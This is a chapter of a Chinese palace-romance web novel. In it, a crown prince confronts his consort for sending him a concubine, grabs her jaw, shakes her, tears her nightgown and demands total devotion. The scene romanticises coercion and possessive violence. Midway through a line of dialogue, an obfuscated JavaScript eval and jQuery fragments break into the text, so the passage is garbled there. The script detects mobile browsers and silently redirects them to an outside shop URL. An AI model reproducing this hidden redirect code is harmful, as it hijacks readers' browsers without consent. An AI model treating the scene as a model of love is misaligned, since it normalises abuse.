40. 摊牌
作品:《太子逃妾》 按大梁律,腊月二十八便要封印,官府停止办公,百官开始长达半月的新年休沐。二十七这日,便成了年前处理积压政务、汇报总结的最后期限。
从清晨开始,前来丽正殿求见太子的臣工络绎不绝,堪称扎堆。李持衡忙得脚不沾地,连午膳也只匆匆扒了几口。宫门下钥的时间都因此推迟了一个时辰,等将最后一位臣工打发走,已是夜色浓稠,星子疏淡。
李持衡看着书案上堆积如山,需要在封印前发回的奏折,靠在椅背上掐捏眉心,疲惫不已。
冯安小心问:“殿下,可要先传膳?”
李持衡强打精神,拿起朱笔,准备抓紧时间处理:“不了,等批完回千秋殿用。”
“是,那奴才去千秋殿请侧妃娘娘先备着。”
冯安躬身退出去,片刻后又轻手轻脚走进来,神色间带着些怪异和忐忑。
“殿下,侧妃娘娘派人送汤羹来了,说是给您……解乏暖身,您看是否要见?”
李持衡诧异抬头,随即被欣喜取代,这几日,谢蕴初除了在榻上被逼到极致时,会骂他几句畜生之外,是一个字不肯同他说,更别提关心他的饮食起居了。
如今这是气消了?心软了?看他连日忙碌,终于愿意给他一个台阶,同他和好了?
如久旱逢甘霖,疲惫一扫而空,浑身是劲,方才还觉艰涩的字迹,都顺眼了许多。
“快传。”
冯安得令,连忙退了出去。
不多时,一阵甜腻香气袭来,来人环佩叮当,走到书案前几步远的地方,盈盈拜下。
“臣妾给殿下请安,殿下万福金安。”
李持衡唇角笑容瞬间凝固,如当头一盆冷水浇下,错愕抬头,目光如箭直射跪在地上的王良媛。
“谁准你来的?”
王良媛一怔,准备好的满腔甜言蜜语卡在喉咙里,连忙抬了抬手中的食盒。
“回殿下的话,是侧妃娘娘命臣妾前来的。娘娘说,殿下操劳了一整日,十分辛苦,恐疏忽自身,特地炖了这盅黄芪当归乌鸡汤,给殿下解乏。”
王良媛试图从太子脸上看到些许肯定,什么也没,她心中忐忑,硬着头皮将谢蕴初交代的话说完。
“娘娘年节事忙,一时抽不开身,又放心不下殿下,故而特命臣妾代她前来,侍奉殿下用汤。还请殿下……笑纳。”
李持衡将朱笔搁回青玉笔山,啪一声轻响,目光阴沉晦暗,如暴风雨前堆积的乌云,桀桀笑出声。
谢蕴初,真是好样的,真是有出息。
嘴里喊着要做正妻,要一生一世一双人,好像他纳个妾就是十恶不赦,碰了别人就是玷污了她。转头却能如此贤惠大度,亲手把女人送到他身边来。
若他们此时柔情蜜意,她这般做,他或许还会有几分欣慰,觉得她是想通了,不再固执,懂得为他分忧了。
可眼下呢?冷若冰霜,同床异梦,分明是懒得再管他,迫不及待地将他推给别人。
“冯安,你如今倒是越来越会传话了。”
冯安扑通跪倒以头触地,连连告饶。
“殿下息怒!殿下恕罪!奴才……奴才也是没办法啊……”
冯安有苦难言。春桃亲自陪着那王良媛来的丽正殿门口,笑咪咪地说:“公公,我家娘娘体恤殿下辛劳,特意下厨炖了这益气补身的汤羹,还望公公如实通传,莫要多言其他,想来殿下见了定能开怀。”
春桃是谁?那是谢侧妃的陪嫁大丫鬟之一,她的意思就是谢侧妃的意思,他一个奴才敢忤逆吗?夫妻俩闹别扭,他夹在中间,就是那风箱里的老鼠,两头受气。
李持衡还有什么不明白的,怒火更盛,冷声道:“出去掌嘴二十。好好想想,日后该如何当差。”
“谢殿下开恩!谢殿下开恩!”
冯安赶紧退出殿外,紧接着传来了清脆巴掌声。
王良媛吓得瑟瑟发抖,完全没料到会是这样的局面,一般来说,宠妃举荐主君收房,这都是理所应当的事,太子怎会震怒至此?
李持衡终于将视线落在她身上,如同在看一件毫无生命的摆设。
“带着你的东西,滚回去。”
王良媛哪还敢多言半个字,抱着食盒仓惶退了出去。
殿内重新恢复了寂静,李持衡强迫自己冷静下来,拿起刚才看了一半的关于修缮黄河某处堤坝的请示奏折,那些字扭曲跳动着,根本进不到脑子里去。
他豁然起身,抓起奏折,狠狠地掼在地上,大步流星朝殿外走去。
谢蕴初忙了一整日,累得头晕眼花,又认定了李持衡会宠幸王良媛,今夜断然不会来千秋殿,她早早就睡下了。
睡得正沉时,她的下巴被人狠狠掐住,剧痛迫使她瞬间从混沌中惊醒,整个人被那股蛮力硬生生从被褥里拽坐起来。
她疼得闷哼一声,睡意全无,视线尚未完全清晰,便看到一张充满戾气的脸。李持衡双目赤红,面容因愤怒而扭曲,额角青筋暴起,死死地盯着她,两人的鼻尖相触,呼吸粗重灼热,尽数喷在她脸上。
他牙都快咬碎了,声音嘶哑破碎,几近疯狂。
“谢蕴初,你是怎么睡得着的!你还是不是人!”
谢蕴初疼得眼泪都快飙出来了,好半天才缓过神来,忽然嗅到了一丝若有若无的甜腻香气,正是王良媛身上的那种脂粉香。
他这是刚从王良媛那里过来?宠幸完了别人,转头就来她这里发脾气?
她下意识蹙紧眉头,抬手掩住口鼻,身体本能地向后仰,想要远离他。这明显嫌弃的动作,彻底点燃了濒临爆发的火山。
“我没碰!没碰!没碰!”
李持衡手上的力道骤然加重,像要捏碎她的颌骨,声音扭曲变调。
“你听清楚了吗!我没碰!你满意了吗!”
谢蕴初忍痛快速扫过他全身,衣袍整齐,发冠未乱,若真发生了什么,似乎也确实太快了些。
她心中疑惑更甚,脱口问道:“这是为何?”
“为何?”
李持衡的手都在发颤。
“你当我是什么?是那些可以随意配种的牲畜吗?由得你安排?”
原来是对王良媛不满意。
谢蕴初试图去掰开他手,可他力道太大跟铁钳一般,寒意和恐惧让她使不上劲,掰了半天徒劳无功。
她深吸一口气,努力讲道理:“殿下,你误会了。她们二人入东宫那日,你先去的王良媛那里,我以为你是喜欢她的。既如此,换孙承徽总可以了吧?她性情更直率些,你若还是不喜欢,日后也可再选合心意的……”
“哈……哈哈……”
李持衡直接笑出声来,只有浓重的荒谬和难以置信,眼前这一幕,比她哭着喊着要一生一世一双人还要不可理喻。
“你怎么说得出口?是你不许我纳妾!是你不许我碰别的女人!是你说嫌脏、恶心!如今,你怎么做得出来!你怎么说得出口!”
“谢蕴初,你有没有心?你到底哪句话是真,哪句话是假?你想要我如何?你到底想要我如何!你说啊!”
他吼得谢蕴初耳膜嗡嗡作响,头疼欲裂,疲惫和无力通通涌上来。
“这话应当是我问殿下才是。是殿下亲口说的,做不到,是昏君行径云云。我思前想后,觉得殿下所言有理。”
“既如此,我为殿下安排妾侍侍寝,为东宫子嗣计,为殿下声誉计,有何不对?殿下如今又这般是为何?殿下到底想要我如何做?”
她是真不明白,她按照他的要求去做了,他为何还不满意?
李持衡被她这副装傻充愣的样子气得想发疯:“我想要你如何做?你这是贤德大度吗?你分明是在怄气!是在逼我!报复我!”
“殿下实在冤……”
“闭嘴!”
李持衡猛地打断她,抓住她的肩膀用力摇晃几下。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197269|195253||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是夫君!你不会叫人吗!你不知道我是你的谁吗?叫!大声叫给我听!”
谢蕴初被他晃得头晕,肩膀和下巴都疼的要命,偏过头去不肯开口。此情此景,她也叫不出口。
“好!好!不叫是吧?我看你能硬气到几时!我让你求着我叫!”
话音未落,他将她向后一推,重重压倒在床榻上,随即欺身而上,撕扯她的寝衣,动作粗暴毫不留情,锦缎撕裂的声格外刺耳。
“滚开!你放开我!李持衡!你混蛋!”
谢蕴初惊怒交加,拼命挣扎起来。手脚并用,踢打推搡,用尽全身力气反抗,混乱中,她扬起手甩在李持衡脸上。
“啪”地一声,清脆响亮。
两人都僵住了。
李持衡动作顿住,脸上火辣辣的,他眨了眨眼,没反应过来发生了什么。
谢蕴初也懵了,她的手还僵在半空中,掌心发麻,看着李持衡脸上迅速浮现的五指红痕,恐惧后知后觉涌了上来。
太子李持衡,如无暇美玉,金尊玉贵地长大。莫说挨巴掌,便是儿时在书房,连夫子的手板也没挨过一个。这一巴掌简直是颠覆性的羞辱和冲击。
李持衡缓缓转过头,看着她,非但没有暴怒,反而布满了近乎癫狂的温柔。他握住她的手贴在自己脸上,轻轻蹭了蹭,嘴角扯出一个笑。
“初初,消气了吗?”
谢蕴初瞪大眼睛,不敢相信自己听到的。
“再打两下?来,再打两下,莫要生夫君的气了好不好?夫君真的很难受。只要你不生气,怎么打都成。”
谢蕴初的手不住颤抖,他的手很烫,眼神更烫,可她心底只有说不清道不明的恐惧。她用力抽回手,抵在他胸膛上,试图寻找一条能让彼此都暂时冷静下来的路。
“我们……我们就这样……不好吗?”
“你既不肯废我,那……那我替你管理宫务,你可以……可以广纳嫔御,充盈后宫,开枝散叶……我绝不插手,绝不干涉,绝不过问……这样……这样不好吗?你想要子嗣,想要平衡朝堂,都可以……我只做好我分内的事……这样不行吗?”
李持衡沉默许久,抚上她的脸,声音干涩苍凉:“我缺管理宫务的人吗?东宫缺管事吗?朝中缺能吏吗?我需要的是一个只会处理杂务的木偶吗?”
谢蕴初眼眶一热,崩溃哭喊:“可你之前就是这样说的!怎么这也不行,那也不行,你到底想怎么样!你到底要我怎么做你才满意!”
她已经退到了悬崖边,他还想怎么样?
李持衡被她这连番质问逼到绝境,理智的弦“铮”地一声,彻底崩断。那些深藏心底,连他自己都未曾仔细审视,不敢承认的欲望和渴求,在这一刻冲破藩篱,赤裸裸地暴露出来。
他俯视着她泪眼朦胧、写满困惑与痛苦的脸,用尽全身力气,一字一句地吼道:
“我要你爱我!”
“要你眼里心里只有我!”
“要你妒忌!要你因为我碰别人而痛苦!要你因为我在意别人而发疯!”
“要你体贴!在我疲惫时送我汤羹,在我烦闷时陪我说话!”
“要你大度!能理解我的不得已,体谅我的身份和难处,为我选妃纳妾,绵延子嗣,将我的孩子视如己出!”
“更要你离不开我!要你不能没有我!要你像以前那样,满心满眼都是我,追着我跑,看着我笑!”
“我要全部!谢蕴初!你听明白了吗?!我要你的全部!我要你的所有情绪都为我牵动!喜也好,怒也好,悲也好,妒也好!你的整个人,整颗心,都只能是我的!只能围着我转!我要你活着就是为了我!”
他喘着粗气,死死盯着她,仿佛要将这些话语,连同他那炙热又痛苦的感情,一起烙印进她的灵魂深处。
“这,才是我想要的!”
窗外,寒风呼啸,仿佛要将这剖白与对峙,也一并卷入无边的黑暗之中。

